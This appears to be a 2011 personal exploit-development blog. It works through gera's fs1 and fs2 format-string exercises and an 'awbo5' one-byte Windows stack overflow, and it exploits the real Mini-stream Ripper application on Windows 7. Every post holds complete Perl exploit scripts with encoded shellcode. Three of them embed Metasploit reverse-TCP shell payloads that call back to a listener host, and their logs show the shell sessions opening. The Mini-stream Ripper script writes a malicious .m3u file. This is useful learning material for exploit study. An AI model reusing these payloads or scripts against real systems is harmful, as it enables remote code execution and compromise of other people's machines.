Tuesday, September 13, 2011

Format Strings: fs2


/* fs2.c *
* specially crafted to feed your brain by gera */

/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
char buf[256];

snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}

The snprintfs lack 3 arguments for the 2 x %c and %hn format specifiers. From what I can see the stack looks something like:

ptr to buf <-- esp points here
256 (int)
ptr to "%s%c%c%hn"
ptr to argc[1] <-- arguments for snprintf start here

buf[0]
buf[1]
buf[2]
buf[3]

buf[4]
buf[5]
buf[6]
buf[7]

buf[8]
buf[9]
buf[10]
buf[11] <-- and end here

...

buf[254]
buf[255]

saved ebp
saved eip

Essentially, the snprintf become:

snprintf(buf, sizeof buf, "%s%c%c%hn", argc[1], buf[0-3], buf[4-7], buf[8-11]

I created 2 Perl scripts for the exploit, 1 for each command line argument.

dennis@ipa:~/fs2$ cat fs2exp_arg1.pl
#!/usr/bin/perl

# filler for the "%c%c" format specifiers in snprintf
my $filler = "A" x 8;

# address for the "%hn" to write the number of characters printed so far to
# least significant word
#my $eip = "\x6c\x42\xfe\xbf"; # gdb
my $eip = "\x5c\x42\xfe\xbf";

# filler to pad the characters printed count
my $filler2 = "C" x 63634;

# 0xf8a0 - 2 ("%c%c") total characters
print $filler.$eip.$filler2;

From the stack diagram, the first 8 bytes are filler for the 2 %cs.

Next, buf is filled with a writable address so that the %hn can write the number of characters printed in the %s string to it. The 'h' indicates a short int, so only 2 bytes of this address can be overwritten. The address points to the 2 least significant bytes of main's saved return address.

buf is then filled with 63634 junk bytes to control the character count. This will end up overwriting eip with 0xWXYZf8a0.

The script prints 0xf8a0 - 2 characters. (The extra 2 are added by printing the %cs)

dennis@ipa:~/fs2$ cat fs2exp_arg2.pl
#!/usr/bin/perl

# filler for the "%c%c" format specifiers in snprintf
my $filler = "D" x 8;

# address for the "%hn" to write the number of characters printed so far to
# most significant word -- arg1 $eip + 2
#my $eip = "\x6e\x42\xfe\xbf"; # gdb
my $eip = "\x5e\x42\xfe\xbf";

my $nops = "\x90" x 48766;

# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# filler to pad the characters printed count
my $filler2 = "E" x (49137-length($nops)-length($shellcode));

# 0xbfff - 2 ("%c %c") total characters
print $filler.$eip.$nops.$shellcode.$filler2;

The second argument script is similar to the first. Starts with filler for the %cs. The writable address points to the 2 most significant bytes of main's saved return address (unaligned access).

buf is then filled with a huge nop slide and some shellcode.

So that eip is overwritten with a 0xbfffWYXZ, some more fillers bytes are added to pad the character count.

The script prints 0xbfff - 2 characters (2 more are added by printing the %cs).

The format string vulnerabilities in the snprintfs allows main's saved eip to be overwritten with 0xbffff8a0. This address points back into the nop slide and shellcode.

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 13 opened (192.168.0.4:4444 -> 192.168.0.38:49249) at 2011-09-08 22:31:11 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs2

Wednesday, September 7, 2011

Format Strings: fs1


/* fs1.c *
* specially crafted to feed your brain by gera */

/* Don't forget, *
* more is less, *
* here's a proof */

int main(int argv,char **argc) {
short int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];

strcpy(buf,argc[1]);
printf("%s%hn\n",buf,plen);
while(zero);
}

A direct saved eip overwrite via a buffer overflow won't work here because there are 2 important things in the way.

First is plen, a pointer to an int. This is where the %hn format specifier in printf stores the number of characters already printed. If this is overwritten with a bunch of "A"'s there will be a segfault when printf tries to access address 0x41414141. plen needs to point to a writable address.

The second obstacle is zero, a short int (2 bytes). If this is overwritten with anything but 0, the while() loop will loop forever and there won't be a return.

#!/usr/bin/perl

my $nops = "\x90" x 50;

# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# 264 bytes fills up buf
my $filler = "A" x (264 - length($nops) - length($shellcode));

# overwrite plen so that it points to zero
my $plen = "\x0e\xfb\xfe\xbf";

# 16 more bytes to get to main's saved eip
my $filler2 = "B" x 16;

# hardcoded cause i'm lazy
my $eip = "\x04\xfa\xfe\xbf";

# total length must be 65536 bytes to overwrite zero so that it is 0
my $filler3 = "D" x (65536 - length($nops) - length($shellcode) - length($filler) - length($plen) - length($filler2) - length($eip));

print $nops.$shellcode.$filler.$plen.$filler2.$eip.$filler3;

buf is filled with a nop sled, shellcode and (264-length(nops)-length(shellcode)) "A"'s.

This positions me at plen, which needs to be overwritten with a writable address. Addresses such as saved eips, dtor, gots, etc. don't work well here because %hn (short int) will only overwrite the 2 least significant bytes of whatever the address points to and this won't get me near my shellcode. I overwrite plen with zero's address--condition 1 is satisfied.

16 more filler bytes are added. This overwrites zero with a non-zero value, but that's ok. Just a note, overwriting zero with "\x00\x00" directly will truncate the input and prevent main's return address to be overwritten.

main's saved eip is now overwritten with a address that points to buf somewhere in the nop sled--like in a normal buffer overflow.

The %hn format specifier in printf will store the number of characters printed so far--the number of characters produced by printing the %s format specifier--into whatever plen points to. Currently plen points to zero and to satisfy the 2 condition zero needs to be overwritten with 0. The number of characters printed is already greater than 0, so the next best thing is to overflow the short integer by printing 0x10000 (minus characters already printed) more filler characters.

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 2 opened (192.168.0.4:4444 -> 192.168.0.38:49944) at 2011-09-07 22:09:39 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)

Monday, September 5, 2011

Advanced Windows Buffer Overflows: awbo5

#!/usr/bin/perl

# must be 1024 bytes. every 4 character blocks, atleast 1 character must be different

my $filler = "AB" x 45; # offset found via msf3's pattern_create/offset

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
my $shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

my $filler2 = "AB" x ((1024 - length($filler) - length($shellcode))/2);

$filler2 .= "A";

# overwrite main's saved ebp so that on main's function epilog when ebp is copied to esp
# the ret will pop off an address that contains the shellcode
my $ebp = "\xA8";

print $filler.$shellcode.$filler2.$ebp;


There is only 1 overflow byte to work with here. The Frame Pointer Overwrite by klog came in handy.

Some restrictions that need to be overcome:

* 1024 + 1 bytes of input are copied over the stack.
* In every 4 character block, at least 1 character must be different--AAAA won't work, but ABAB will.
* There must be at least 1 command line argument
* The first argument must contain the length of the buffer copied to the stack--1025

The overflow allows me to overwrite the least significant byte of main's saved ebp. This allows access to 0012FFxx.

main's function epilog looks like this

; copies ebp--which we control a bit--into esp
mov esp,ebp
; cause esp to increase by 4
pop ebp
; pops the address of where esp points to into eip and starts executing there
retn

I put a breakpoint right before main returns and start digging through memory. 0012FFAC contains an address that points to a chunk of input that was copied to the stack.

If I overwrite the LSB of main's saved ebp with \xA8, on main's return, esp will point to 0012FFAC which points to a buffer I control.

Using Metasploits pattern_create/offset, I was able to determine where in the input buffer 0012FFAC points to. I kept a few "AB"s (which turn into NOPs) for good measure and add the shellcode. On execution, a lovely calc.exe pops up.

Here are my notes on IDA's output:

; int __cdecl main(int argc,const char **argv,const char *envp)
_main proc near

argc= dword ptr 8
argv= dword ptr 0Ch ; 12
envp= dword ptr 10h ; 16

; function prologue
push ebp
mov ebp, esp
; stack space, 12 bytes
sub esp, 0Ch
; save some registers to stack
push ebx
push esi
push edi
int 3 ; Trap to Debugger
; copy contents of ebp+argv into eax
mov eax, [ebp+argv]
copy contents of eax+4 into ecx
mov ecx, [eax+4]
; copy ecx to 407a8c
mov argv1_407A8C, ecx
; call func() -- reads/verifies input
call sub_401065
; copy return value into ret_counter
mov ret_counter_407A84, eax
; copy ret_counter into edx
mov edx, ret_counter_407A84
; push onto stack
push edx
; push format string onto stack
push offset aGotDCharacers ; "Got %d characers!\n"
; call printf()
call _printf
; clean up function arguments from stack
add esp, 8
; compare argc to 2
cmp [ebp+argc], 2
; if less than 2, jump
jl short loc_401054
; push 10--base--onto stack
push 0Ah ; int
; push 0--endptr--onto stack
push 0 ; char **
; copy argv1 into eax
mov eax, argv1_407A8C
; push address onto stack--nptr
push eax ; char *
; call strtoul()
call _strtoul
; clean up function arguments from stack
add esp, 0C
; compare ret_counter to eax--"argv1"
cmp ret_counter_407A84, eax
; if zero, jump
jz short loc_40105C

loc_401054: ; uExitCode
; push -1 onto stack
push 0FFFFFFFFh
; call ExitProcess()
call ds:ExitProcess

loc_40105C:
; clear eax
xor eax, eax
; restore registers
pop edi
pop esi
pop ebx
; function epilog
mov esp, ebp
pop ebp
; return
retn
_main endp



; Attributes: bp-based frame

sub_401065 proc near

var_404= dword ptr -404h ; 1028
var_400= byte ptr -400h ; 1024
var_3FF= byte ptr -3FFh ; 1023
var_3FE= byte ptr -3FEh ; 1022
var_3FD= byte ptr -3FDh ; 1021
; function prologue
push ebp
mov ebp, esp
; stack space, 1028 bytes
sub esp, 404h
; zero memory location, 407a90
mov counter_407A90, 0

loc_401078:
; compare memory location, 407a90, to 1024
cmp counter_407A90, 400h
; jump if memory location is greater than 1024
ja short loc_4010F3
; copy cnt into eax
mov eax, input_407048._cnt
; subtract 1 from cnt
sub eax, 1
; copy new cnt back to memory
mov input_407048._cnt, eax
; compare cnt with 0
cmp input_407048._cnt, 0
; if cnt is less than 0, jump
jl short loc_4010BE
; copy input pointer to ecx
mov ecx, input_407048._ptr
; copy character it points to into edx
movsx edx, byte ptr [ecx]
; keep lsb
and edx, 0FFh
; copy character to stack
mov [ebp+var_404], edx
; copy input pointer to eax
mov eax, input_407048._ptr
; increment
add eax, 1
; copy back to memory
mov input_407048._ptr, eax
; jump
jmp short loc_4010D1

; read in input, called once
loc_4010BE: ; FILE *
; push FILE * onto stack
push offset input_407048
; call filbuf()
call __filbuf
; clean up function argument from stack
add esp, 4
; move first character of input to ebp-1028
mov [ebp+var_404], eax

loc_4010D1:
; copy counter into ecx
mov ecx, counter_407A90
; copy ebp_1028, character from input into lsb edx
mov dl, byte ptr [ebp+var_404]
; copy character into ebp+counter-1024, move character to stack
mov [ebp+ecx+var_400], dl
; copy counter into eax
mov eax, counter_407A90
; increment counter
add eax, 1
; move counter back to memory
mov counter_407A90, eax
; jump
jmp short loc_401078

loc_4010F3:
; copy zero into memory location
mov cmp_counter_407A88, 0
; jump
jmp short loc_40110E

loc_4010FF:
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; increment
add ecx, 1
; copy back to memory
mov cmp_counter_407A88, ecx

loc_40110E:
; copy 407A88 into edx
mov edx, cmp_counter_407A88
; compare against counter
cmp edx, counter_407A90
; if 407A88 is >= counter, jump
jnb short loc_401187
; copy cmp_counter into eax
mov eax, cmp_counter_407A88
; copy first character into ecx
movsx ecx, [ebp+eax+var_400]
; copy cmp_counter into edx
mov edx, cmp_counter_407A88
; copy second character into eax
movsx eax, [ebp+edx+var_3FF]
; compare
cmp ecx, eax
; if not zero, jump
jnz short loc_401182
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; copy second character into edx
movsx edx, [ebp+ecx+var_3FF]
; copy cmp_counter into eax
mov eax, cmp_counter_407A88
; copy third character into ecx
movsx ecx, [ebp+eax+var_3FE]
; compare
cmp edx, ecx
; if not zero, jump
jnz short loc_401182
; copy cmp_counter into edx
mov edx, cmp_counter_407A88
; copy third character into eax
movsx eax, [ebp+edx+var_3FE]
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; copy fourth character into edx
movsx edx, [ebp+ecx+var_3FD]
; compare
cmp eax, edx
; if not zero, jump
jnz short loc_401182
; push -1 onto stack
push 0FFFFFFFFh ; uExitCode
; ExitProcess()
call ds:ExitProcess

loc_401182:
; jump
jmp loc_4010FF

loc_401187:
; copy counter into eax, return value
mov eax, counter_407A90
; function epilog
mov esp, ebp
pop ebp
retn
sub_401065 endP

Friday, September 2, 2011

Exploit Practice: Mini-stream Ripper

http://www.exploit-db.com/exploits/17744/ planted the seed, but I developed the code independently.

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.38:49178) at 2011-09-02 18:45:55 -0500

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Mini-stream\Mini-stream Ripper>systeminfo | find "OS Name"
systeminfo | find "OS Name"
OS Name: Microsoft Windows 7 Home Premium

C:\Program Files (x86)\Mini-stream\Mini-stream Ripper>

#!/usr/bin/perl

# mini-stream ripper windows 7 home premium direct ret overwrite

my $filler = "A" x 26100; # via msf3 pattern_create/offset
my $eip = "\x1b\x02\x04\x10"; # push esp, ret from MSRfilter01.dll (no aslr) -- found via mona.py
my $nops = "\x90" x 20;

# metasploit windows/shell_reverse_tcp, LHOST=192.168.0.4
# x86/shikata_ga_nai, badchars: \x00\x0a
my $shellcode =
"\xb8\x83\x92\x9f\xca\xda\xd6\xd9\x74\x24\xf4\x5b\x33\xc9" .
"\xb1\x4f\x31\x43\x14\x03\x43\x14\x83\xeb\xfc\x61\x67\x63" .
"\x22\xec\x88\x9c\xb3\x8e\x01\x79\x82\x9c\x76\x09\xb7\x10" .
"\xfc\x5f\x34\xdb\x50\x74\xcf\xa9\x7c\x7b\x78\x07\x5b\xb2" .
"\x79\xa6\x63\x18\xb9\xa9\x1f\x63\xee\x09\x21\xac\xe3\x48" .
"\x66\xd1\x0c\x18\x3f\x9d\xbf\x8c\x34\xe3\x03\xad\x9a\x6f" .
"\x3b\xd5\x9f\xb0\xc8\x6f\xa1\xe0\x61\xe4\xe9\x18\x09\xa2" .
"\xc9\x19\xde\xb1\x36\x53\x6b\x01\xcc\x62\xbd\x58\x2d\x55" .
"\x81\x36\x10\x59\x0c\x47\x54\x5e\xef\x32\xae\x9c\x92\x44" .
"\x75\xde\x48\xc1\x68\x78\x1a\x71\x49\x78\xcf\xe7\x1a\x76" .
"\xa4\x6c\x44\x9b\x3b\xa1\xfe\xa7\xb0\x44\xd1\x21\x82\x62" .
"\xf5\x6a\x50\x0b\xac\xd6\x37\x34\xae\xbf\xe8\x90\xa4\x52" .
"\xfc\xa2\xe6\x3a\x31\x98\x18\xbb\x5d\xab\x6b\x89\xc2\x07" .
"\xe4\xa1\x8b\x81\xf3\xc6\xa1\x75\x6b\x39\x4a\x85\xa5\xfe" .
"\x1e\xd5\xdd\xd7\x1e\xbe\x1d\xd7\xca\x10\x4e\x77\xa5\xd0" .
"\x3e\x37\x15\xb8\x54\xb8\x4a\xd8\x56\x12\xfd\xdf\xc1\x5d" .
"\x56\xdf\x15\x36\xa5\xdf\x04\x9a\x20\x39\x4c\x32\x65\x92" .
"\xf9\xab\x2c\x68\x9b\x34\xfb\xf8\x38\xa6\x60\xf8\x37\xdb" .
"\x3e\xaf\x10\x2d\x37\x25\x8d\x14\xe1\x5b\x4c\xc0\xca\xdf" .
"\x8b\x31\xd4\xde\x5e\x0d\xf2\xf0\xa6\x8e\xbe\xa4\x76\xd9" .
"\x68\x12\x31\xb3\xda\xcc\xeb\x68\xb5\x98\x6a\x43\x06\xde" .
"\x72\x8e\xf0\x3e\xc2\x67\x45\x41\xeb\xef\x41\x3a\x11\x90" .
"\xae\x91\x91\xa0\xe4\xbb\xb0\x28\xa1\x2e\x81\x34\x52\x85" .
"\xc6\x40\xd1\x2f\xb7\xb6\xc9\x5a\xb2\xf3\x4d\xb7\xce\x6c" .
"\x38\xb7\x7d\x8c\x69";

open(FILE, ">exp.m3u");
print FILE $filler.$eip.$nops.$shellcode;